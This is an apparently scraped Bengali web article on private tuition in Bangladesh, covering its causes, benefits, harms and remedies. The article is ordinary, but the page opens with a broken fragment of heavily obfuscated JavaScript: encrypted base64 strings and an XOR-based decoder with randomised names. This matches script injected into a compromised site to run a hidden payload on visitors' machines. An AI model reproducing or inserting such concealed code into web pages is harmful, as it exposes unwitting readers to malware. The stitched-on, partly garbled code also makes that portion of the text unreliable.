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","OmWK"],pnCL=null,Qdsy=[19,32,59,54,33,60,58,59],E46=85,jBD="",BPx=0,bPB={},amO="",zuF0=0,awF3="",vZy=0,U5u=0,j3DCQ="";if(pnCL){for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx

বাংলাদেশে প্রাইভেট টিউশন: প্রয়োজন, প্রভাব ও প্রতিকার

০১:০১:৪৪ পূর্বাহ্ন, শনিবার, ১৯ জুলাই ২০২৫

বাংলাদেশে শিক্ষার প্রচলিত কাঠামোর মধ্যে প্রাইভেট টিউশন একটি অঙ্গাঅঙ্গিভাবে জড়িয়ে পড়েছে। প্রাথমিক শ্রেণি থেকে শুরু করে উচ্চশিক্ষা পর্যন্ত শিক্ষার্থীরা এখন বিদ্যালয়ের আনুষ্ঠানিক শিক্ষার পাশাপাশি ব্যক্তিগতভাবে টিউশন গ্রহণ করে থাকে। এই প্রক্রিয়াটি যেন এক অলিখিত নিয়মে পরিণত হয়েছে। অভিভাবকরা মনে করেন, শুধুমাত্র বিদ্যালয়ের পড়াশোনা সন্তানের ভালো ফলাফল নিশ্চিত করতে যথেষ্ট নয়, তাই অতিরিক্ত পড়াশোনার জন্য টিউটর রাখা অত্যাবশ্যক। একইসঙ্গে শিক্ষকরা বিদ্যালয়ের বাইরে অতিরিক্ত আয়ের উৎস হিসেবেও প্রাইভেট টিউশনের ওপর নির্ভরশীল হয়ে পড়েছেন। তবে এই টিউশন ব্যবস্থা শিক্ষা খাতের গুণগত উন্নয়নের পথে সহায়ক না প্রতিবন্ধক—তা নিয়ে আজ প্রশ্ন উঠছে। শিক্ষার্থীদের স্বাধীন চিন্তা ও আত্মনির্ভরতা দিন দিন হারিয়ে যাচ্ছে, যা তাদের সামগ্রিক বিকাশে প্রতিবন্ধক হয়ে দাঁড়াচ্ছে। এই প্রেক্ষাপটে আমাদের দরকার একটি বাস্তবসম্মত বিশ্লেষণ—কেন প্রাইভেট টিউশন এতটা ব্যাপক হয়ে উঠেছে, এটি শিক্ষাব্যবস্থার ওপর কী প্রভাব ফেলছে এবং কীভাবে এই প্রবণতার ইতিবাচক বিকল্প তৈরি করা যায়। এই প্রবন্ধে সে বিষয়গুলো নিয়েই আলোচনা করা হয়েছে।

প্রাইভেট টিউশনের কারণসমূহ

১. বিদ্যালয়ে পাঠদানের ঘাটতি
অনেক বিদ্যালয়ে শ্রেণিকক্ষে পাঠদান নিয়মিতভাবে সম্পূর্ণ হয় না। শিক্ষকরা কখনো সময়মতো উপস্থিত হন না, আবার কখনো পাঠ শেষ না করেই ক্লাস শেষ করে দেন। কিছু শিক্ষাপ্রতিষ্ঠানে পর্যাপ্ত শ্রেণিকক্ষ না থাকায় একাধিক ক্লাস একত্রে পরিচালিত হয়, যা শিক্ষার মানকে নষ্ট করে। পাঠ পরিকল্পনা ও মূল্যায়নের অভাবেও শিক্ষার্থীরা কাঙ্ক্ষিত জ্ঞান অর্জনে ব্যর্থ হয়। শিক্ষকরা অনেক সময় মনোযোগ হারিয়ে ফেলেন, ফলে শিক্ষার্থীরা বঞ্চিত হয় প্রয়োজনীয় ব্যাখ্যা ও সাহায্য থেকে। এসব কারণে শিক্ষার্থীদের মনে বিদ্যালয়ের প্রতি অনাস্থা তৈরি হয়। প্রাইভেট টিচাররা সেখানে ঘরে বসে সময় নিয়ে ব্যাখ্যা দেন, যা শিক্ষার্থীর জন্য আকর্ষণীয় হয়ে ওঠে। ফলে বিদ্যালয়ের দুর্বলতাই টিউশনের চাহিদা সৃষ্টি করে।

২. শিক্ষার্থী সংখ্যার তুলনায় শিক্ষক কম
বাংলাদেশে অনেক বিদ্যালয়ে ছাত্র-শিক্ষক অনুপাত এখনও আন্তর্জাতিক মানদণ্ডের নিচে রয়েছে। একটি শ্রেণিতে ৫০-৬০ জন শিক্ষার্থী থাকলেও শিক্ষক হয়তো একজন বা দুইজন মাত্র। এতে করে প্রতিটি শিক্ষার্থীর প্রতি আলাদা মনোযোগ দেওয়া সম্ভব হয় না। শিক্ষকরা সবার প্রশ্নের উত্তর দিতে পারেন না কিংবা দুর্বল শিক্ষার্থীদের আলাদা করে বোঝানোর সুযোগ পান না। এই সীমাবদ্ধতা শিক্ষার্থীদের অসন্তুষ্ট করে তোলে। বিশেষ করে যারা একটু পিছিয়ে পড়া, তারা বুঝতে না পেরে হতাশ হয়ে পড়ে। এই অবস্থায় তারা প্রাইভেট টিউশনের মাধ্যমে বাড়তি সহযোগিতা নিতে চায়। পরিবারগুলোও সন্তানের শিখন ঘাটতি পূরণে টিউশনকে সমর্থন জানায়।

৩. অভিভাবকদের অতিরিক্ত ফলাফলমুখী মানসিকতা
বাংলাদেশের অভিভাবকদের একটি বড় অংশ শিক্ষার মূল উদ্দেশ্য নয়, বরং শুধু ভালো ফলাফল অর্জনকে গুরুত্ব দিয়ে থাকেন। তারা চান সন্তান GPA 5 পাবে, ভর্তি পরীক্ষায় সফল হবে, সরকারি চাকরি পাবে। এর ফলে তারা সবসময় চিন্তিত থাকেন, বাচ্চা যদি বিদ্যালয়ের ক্লাসে সব কিছু না বোঝে, তাহলে পরীক্ষায় পেছিয়ে পড়বে। এজন্য সন্তান বুঝুক বা না বুঝুক, টিউটরের কাছে পাঠানো হয় নিয়ম করে। অনেক সময় শিক্ষার্থী নিজের ইচ্ছায় নয়, বরং অভিভাবকের চাপে টিউশনে যেতে বাধ্য হয়। ফলাফল নির্ভর এই দৃষ্টিভঙ্গি শিক্ষার আনন্দকে হরণ করে নেয়। এতে শিখন হয় যান্ত্রিক ও চাপসৃষ্টিকারী, যা শিক্ষার্থীর মানসিক স্বাস্থ্যের উপরও প্রভাব ফেলে।

৪. প্রতিযোগিতামূলক শিক্ষা ব্যবস্থা (বিশেষ করে ভর্তি পরীক্ষায়)
বাংলাদেশে কলেজ ও বিশ্ববিদ্যালয়ে ভর্তি একটি অত্যন্ত প্রতিযোগিতামূলক প্রক্রিয়া। উচ্চমানের শিক্ষা প্রতিষ্ঠানে ভর্তি হতে হলে কঠোর প্রস্তুতির প্রয়োজন হয়। অধিকাংশ বিদ্যালয়ে ভর্তি পরীক্ষার জন্য নির্দিষ্ট প্রস্তুতি দেওয়া হয় না। ফলে শিক্ষার্থীরা কোচিং বা প্রাইভেট টিউটরের সাহায্য নিয়ে ভর্তি পরীক্ষার প্রস্তুতি নেয়। বিশেষ করে ঢাকা, রাজশাহী বা খুলনার মতো বিভাগীয় শহরগুলোতে ভর্তি কোচিং একটি শিল্পে পরিণত হয়েছে। যারা এই বাড়তি প্রস্তুতি নিতে পারে না, তারা প্রতিযোগিতায় পিছিয়ে পড়ে। তাই শিক্ষার্থীরা প্রাইভেট টিউশনকে ভবিষ্যতের সাফল্যের চাবিকাঠি হিসেবে দেখে।

৫. শিক্ষকের অতিরিক্ত আয়ের উৎস হিসেবে টিউশন
অনেক শিক্ষক বিদ্যালয়ের বেতন দিয়ে সংসার চালাতে হিমশিম খান। বিশেষ করে বেসরকারি প্রতিষ্ঠানের শিক্ষকরা কম বেতন পান। তারা বাধ্য হয়ে বিদ্যালয়ের বাইরে টিউশন বা কোচিংয়ে যুক্ত হন। কেউ কেউ একই বিদ্যালয়ের শিক্ষার্থীদেরই টিউশনে নেন, যা নৈতিকভাবে প্রশ্নবিদ্ধ। এতে বিদ্যালয়ের পাঠদানেও অনীহা দেখা দেয়, কারণ তারা মনে করেন টিউশনে বিস্তারিত পড়ানো হবে। শিক্ষার্থীরাও বুঝে যায়, শিক্ষক শ্রেণিকক্ষে যতটা না দেন, টিউশনে তার চেয়ে বেশি সময় দেন। ফলে শিক্ষা প্রতিষ্ঠান একটি আস্থাহীন জায়গায় পরিণত হয়।

প্রাইভেট টিউশনের প্রভাব

ইতিবাচক দিক:

১. দুর্বল শিক্ষার্থীদের জন্য বাড়তি সহায়তা

সব শিক্ষার্থী একই গতিতে শিখতে পারে না। অনেক সময় বিদ্যালয়ের পাঠদান বুঝতে না পেরে তারা পিছিয়ে পড়ে। প্রাইভেট টিউশন সেই শিক্ষার্থীদের জন্য একটি পরিপূরক ব্যবস্থা হয়ে ওঠে। এতে তারা তাদের ভুলগুলো বারবার অনুশীলনের মাধ্যমে শুধরে নিতে পারে। শিক্ষক এককভাবে তাদের ব্যাখ্যা দিয়ে বুঝিয়ে দেন, যা শ্রেণিকক্ষে সম্ভব হয় না। এই বিশেষ মনোযোগ শিক্ষার্থীর জ্ঞান অর্জনের গতি বাড়ায়। ধীরে ধীরে তাদের আত্মবিশ্বাস গড়ে ওঠে এবং শিক্ষায় মনোযোগ বাড়ে। এতে বিদ্যালয়ের পাঠদানও পরে সহজ লাগে।

২. বিষয়ভিত্তিক দক্ষতা বৃদ্ধি

প্রাইভেট টিউশনে সাধারণত একটি বা দুটি বিষয়ে গভীরভাবে পাঠদান করা হয়। এতে শিক্ষার্থী সেই বিষয়ের প্রতি আগ্রহী হয়ে ওঠে এবং ধারাবাহিক অনুশীলনে পারদর্শী হয়ে উঠে। গণিত, ইংরেজি বা বিজ্ঞানের মতো কঠিন বিষয়ের জটিলতা ধীরে ধীরে সহজ হয়ে যায়। পাঠ্যপুস্তকের বাইরেও অনেক সময় শিক্ষক সহায়ক উপকরণ দেন, যা তাদের জানার পরিধি বাড়ায়। দীর্ঘ মেয়াদে এই চর্চা তাদের একাডেমিক উন্নয়নে ইতিবাচক ভূমিকা রাখে।

৩. আত্মবিশ্বাস বাড়ে

যখন একজন শিক্ষার্থী নিজে না পারা জিনিসগুলো বুঝতে শিখে, তখন তার আত্মবিশ্বাস অনেকগুণ বেড়ে যায়। নিয়মিত অনুশীলন এবং পরীক্ষামুখী প্রস্তুতি তার মধ্যে ভয় দূর করে। শ্রেণিকক্ষে সে আর আগের মতো চুপ থাকে না, বরং সক্রিয়ভাবে অংশগ্রহণ করে। সে নিজের ভুল বুঝে তা শুধরানোর চেষ্টা করে, যা আত্মোন্নয়নের অন্যতম ভিত্তি। আত্মবিশ্বাসী শিক্ষার্থীরা পরবর্তীতে অন্যান্য সহপাঠীদেরও সাহায্য করতে পারে।

৪. পরীক্ষায় প্রস্তুতি উন্নত হয়

প্রাইভেট টিউশন অধিকাংশ সময় পরীক্ষাভিত্তিক প্রস্তুতির দিকে মনোযোগ দেয়। প্রশ্নপত্র বিশ্লেষণ, মডেল টেস্ট, সৃজনশীল প্রশ্নের উত্তর রচনার অনুশীলন এসবের ফলে শিক্ষার্থী পরীক্ষায় ভালো ফল করে। শিক্ষকরা সময় বণ্টন, সাজেশন এবং গুরুত্বপূর্ণ অধ্যায়ের উপর বেশি জোর দেন। ফলে শিক্ষার্থীরা কীভাবে উত্তর লিখতে হয়, কোন প্রশ্নের কীভাবে শুরু করতে হয় তা আয়ত্ত করতে পারে। এসব কৌশল বিদ্যালয়ের নিয়মিত পাঠদানে না-ও শেখানো হতে পারে।

৫. শিক্ষক-শিক্ষার্থী সম্পর্ক উন্নত হয়

ব্যক্তিগত টিউশনের পরিবেশ তুলনামূলক নিরিবিলি ও একান্ত। এতে শিক্ষক ও শিক্ষার্থীর মধ্যে ঘনিষ্ঠ একটি সম্পর্ক তৈরি হয়। অনেক সময় শিক্ষার্থীরা স্কুলে যেটা প্রকাশ করতে পারে না, সেটা টিউশনের শিক্ষককে বলতে পারে। শিক্ষকও ব্যক্তিগতভাবে শিক্ষার্থীর দুর্বলতা চিনে তাকে সেই অনুযায়ী সাহায্য করেন। এই ঘনিষ্ঠ সম্পর্ক শিক্ষার্থীর মানসিক সাপোর্ট হিসেবেও কাজ করে। কিছু ক্ষেত্রে শিক্ষক হয়ে ওঠেন পরামর্শদাতা ও অভিভাবকের মতো।

নেতিবাচক দিক:

১. বিদ্যালয়ের পাঠের উপর নির্ভরতা কমে

প্রাইভেট টিউশন গ্রহণকারী শিক্ষার্থীরা প্রায়শই বিদ্যালয়ের পাঠের গুরুত্ব কমিয়ে দেখে। তারা মনে করে বিদ্যালয়ে না বুঝলেও সমস্যা নেই, প্রাইভেট শিক্ষক পরে বুঝিয়ে দেবেন। ফলে তারা শ্রেণিকক্ষে অনমনোযোগী হয়ে পড়ে। বিদ্যালয়ের শিক্ষকদের শ্রদ্ধা বা শিক্ষার প্রতি উৎসাহ কমে যেতে পারে। এভাবে ধীরে ধীরে বিদ্যালয় থেকে শেখার আসল উদ্দেশ্য হারিয়ে যায়।

২. গরীব শিক্ষার্থীরা পিছিয়ে পড়ে

সব পরিবারের আর্থিক সক্ষমতা এক নয়। নিম্ন আয়ের পরিবারগুলো তাদের সন্তানদের প্রাইভেট টিউশনে পাঠাতে পারে না। এতে একটি বৈষম্য তৈরি হয় যেখানে ধনী ছাত্ররা অধিকতর সুযোগ পায়, গরীব ছাত্ররা একই প্রতিযোগিতায় অংশ নিয়েও পিছিয়ে পড়ে। এ বৈষম্য শিক্ষাক্ষেত্রে অন্যায়ের শামিল। আর্থিক প্রতিবন্ধকতার কারণে মেধাবী শিক্ষার্থীও প্রতিযোগিতায় হেরে যায়।

৩. শিক্ষা হয়ে ওঠে ব্যবসাভিত্তিক

প্রাইভেট টিউশনের বাজার দিন দিন বাণিজ্যিক হয়ে উঠছে। অনেক শিক্ষক শিক্ষাকে সেবামূলক কাজ না ভেবে পণ্য হিসেবেই দেখছেন। তারা যত বেশি শিক্ষার্থী পাবেন, তত বেশি আয় হবে—এই মানসিকতা নিয়ে পড়ান। এতে পাঠদান গুণগত না হয়ে হয়ে ওঠে সময় শেষ করার কাজ। শিক্ষার্থীরা শেখার বদলে শুধু পরীক্ষায় পাস করার কৌশল রপ্ত করে।

৪. শিক্ষকদের শ্রেণিকক্ষে আগ্রহ কমে যায়

কিছু শিক্ষক ইচ্ছাকৃতভাবে বিদ্যালয়ের পাঠ সেভাবে দেন না যাতে শিক্ষার্থীরা প্রাইভেট টিউশন নিতে বাধ্য হয়। এতে তাদের আয় বাড়ে ঠিকই, কিন্তু শ্রেণিকক্ষ শিক্ষার মূল উদ্দেশ্য ধ্বংস হয়। এই দৃষ্টিভঙ্গি শিক্ষাকে অবিশ্বাস্য ও দুর্বল করে তোলে। শিক্ষার্থীদের মধ্যে বিশ্বাস জন্মায় যে ভালো শেখার জন্য বিদ্যালয় নয়, টাকার দরকার।

৫. মানসিক চাপ বাড়ে ও আত্মনির্ভরতা কমে

একজন শিক্ষার্থী সকালে বিদ্যালয়, বিকেলে প্রাইভেট টিউশন, রাতে হোমওয়ার্ক—এই চক্রে আটকা পড়ে যায়। এতে তার অবসরের সময় থাকে না, খেলাধুলা বা শখের চর্চা অসম্ভব হয়ে পড়ে। শুধু পড়ালেখা নিয়ে মানসিক চাপ তৈরি হয়, যা শিশুদের জন্য ক্ষতিকর। তারা নিজের মতো চিন্তা না করে, শুধু টিউটরের দেওয়া উপায়ে নির্ভর করে। এর ফলে তাদের স্বাধীন চিন্তাভাবনা ও সমস্যা সমাধানের ক্ষমতা কমে যায়।

একজন ছাত্র টিউশনে পাঠ নিচ্ছে একান্ত পরিবেশে।
একজন ছাত্র টিউশনে পাঠ নিচ্ছে একান্ত পরিবেশে।

সমাধানের উপায়

১. বিদ্যালয়ে গুণগত পাঠদান নিশ্চিত করা

বিদ্যালয় যেন শিক্ষার প্রধান কেন্দ্র হয়, তা নিশ্চিত করা জরুরি। শ্রেণিকক্ষে পাঠদানকে আরও মানসম্মত ও আকর্ষণীয় করতে হবে। শিক্ষকের পাঠ পরিকল্পনা (lesson plan) ও শেখার ফলাফল (learning outcome) বাস্তবভিত্তিক ও শিক্ষার্থীকেন্দ্রিক হওয়া দরকার। শিক্ষক যেন শ্রেণিতে সক্রিয় অংশগ্রহণ নিশ্চিত করেন। শ্রেণিকক্ষে শিক্ষার্থীদের জিজ্ঞাসা করার সুযোগ, আলোচনা, গ্রুপ ওয়ার্কের মাধ্যমে শেখানো হলে টিউশনের প্রয়োজন কমে যাবে। সরকারি পর্যবেক্ষণ বাড়িয়ে বিদ্যালয়কে আরও জবাবদিহিতার আওতায় আনতে হবে।

২. শিক্ষক প্রশিক্ষণ ও পেশাগত উন্নয়ন

শিক্ষকদের মানোন্নয়ন না হলে শিক্ষার গুণগত মান অর্জন সম্ভব নয়। এজন্য নিয়মিত প্রশিক্ষণ, সেমিনার, কর্মশালা ও সহকর্মীদের সঙ্গে অভিজ্ঞতা বিনিময়ের সুযোগ রাখতে হবে। শুধুমাত্র B.Ed বা M.Ed ডিগ্রিই যথেষ্ট নয়—কার্যকর শেখার কৌশল, শিশুবান্ধব আচরণ ও ICT ব্যবহারে দক্ষতা অর্জনও জরুরি। প্রশিক্ষণ থেকে পাওয়া অভিজ্ঞতা ক্লাসে প্রয়োগ করতে উদ্বুদ্ধ করতে হবে। এই প্রশিক্ষণই শিক্ষকদের প্রাইভেট টিউশন নির্ভরতা কমাতে সাহায্য করবে।

৩. শিক্ষকদের পর্যাপ্ত বেতন ও প্রণোদনা

অর্থনৈতিক নিরাপত্তা না থাকলে শিক্ষক পেশাকে কেউ পেশাদারভাবে নিতে আগ্রহী হবেন না। শিক্ষক যেন প্রাইভেট টিউশন না করে শুধু বিদ্যালয়ে পূর্ণ মনোযোগ দিতে পারেন—এর জন্য প্রয়োজন যথাযথ বেতন কাঠামো। মূল বেতনের পাশাপাশি ইনক্রিমেন্ট, ইনসেনটিভ, আবাসন, চিকিৎসা, পেনশন ইত্যাদি সুবিধা নিশ্চিত করতে হবে। সুশৃঙ্খল আর্থিক নিরাপত্তা শিক্ষককে আত্মনির্ভর করে তুলবে। এতে শিক্ষকের মনোযোগ শ্রেণিকক্ষেই কেন্দ্রীভূত থাকবে।

৪. অভিভাবকদের সচেতনতা বৃদ্ধি

অভিভাবকরাও অনেক সময় তাদের সন্তানদের অকারণে অতিরিক্ত টিউশনে পাঠান। তারা মনে করেন, যত বেশি পড়ানো যাবে, তত বেশি ফল ভালো হবে। অথচ শিশুর মানসিক স্বাস্থ্য, বিশ্রাম, সামাজিক দক্ষতা সবই শেখার গুরুত্বপূর্ণ অংশ। বিদ্যালয়ে অভিভাবক সভার মাধ্যমে তাদের বোঝাতে হবে—সন্তানদের উপর পড়াশোনার চাপ না দিয়ে, বরং শেখার আনন্দ তৈরি করতে হবে। প্রয়োজন ছাড়া টিউশন করানো সন্তানের জন্য ক্ষতির কারণ হতে পারে।

৫. আইন প্রয়োগ ও নীতিমালা বাস্তবায়ন

শিক্ষা মন্ত্রণালয়ের নির্দেশ আছে যে, বিদ্যালয়ের শিক্ষক তার নিজ বিদ্যালয়ের শিক্ষার্থীকে প্রাইভেট পড়াতে পারবেন না। কিন্তু এই নিয়ম বাস্তবে মানা হয় না। এ বিষয়ে কড়া নজরদারি, জেলা শিক্ষা কর্মকর্তার পরিদর্শন ও অভিযোগ গ্রহণ পদ্ধতি নিশ্চিত করতে হবে। কেউ নিয়ম ভঙ্গ করলে তার বিরুদ্ধে শাস্তিমূলক ব্যবস্থা নিতে হবে। নীতিমালা কাগজে না থেকে বাস্তবে প্রয়োগ হলেই টিউশন নির্ভরতা কমবে।

উপসংহার

বর্তমান বাংলাদেশের শিক্ষাব্যবস্থায় প্রাইভেট টিউশন একটি স্বাভাবিক ও প্রচলিত চিত্র হয়ে দাঁড়িয়েছে। যদিও এটি কিছু শিক্ষার্থীর জন্য উপকার বয়ে আনে, তবে এটি একটি বড় অংশের জন্য হয়ে দাঁড়িয়েছে আর্থিক, মানসিক ও সামাজিক চাপের উৎস। শিক্ষাকে যদি আমরা সবার জন্য সমান সুযোগসুলভ করতে চাই, তবে প্রাইভেট টিউশনের অতিনির্ভরতা দূর করা জরুরি। এর জন্য বিদ্যালয়ের পাঠদানকে মানসম্পন্ন, শিক্ষকের পেশাদারিত্বকে জোরদার এবং অভিভাবকদের সচেতন করতেই হবে।

প্রাইভেট টিউশন কখনোই মূল শিক্ষার বিকল্প নয়—এটি কেবলমাত্র একটি পরিপূরক মাধ্যম হতে পারে। তাই আমাদের প্রয়োজন এমন একটি শিক্ষাব্যবস্থা, যেখানে বিদ্যালয়েই সব শিক্ষার্থীর শেখার চাহিদা পূরণ হয় এবং কেউ আর্থিক কারণে শিক্ষা থেকে বঞ্চিত না হয়। একমাত্র তখনই আমরা একটি ন্যায়ভিত্তিক, মানসম্পন্ন ও অন্তর্ভুক্তিমূলক শিক্ষা নিশ্চিত করতে পারবো।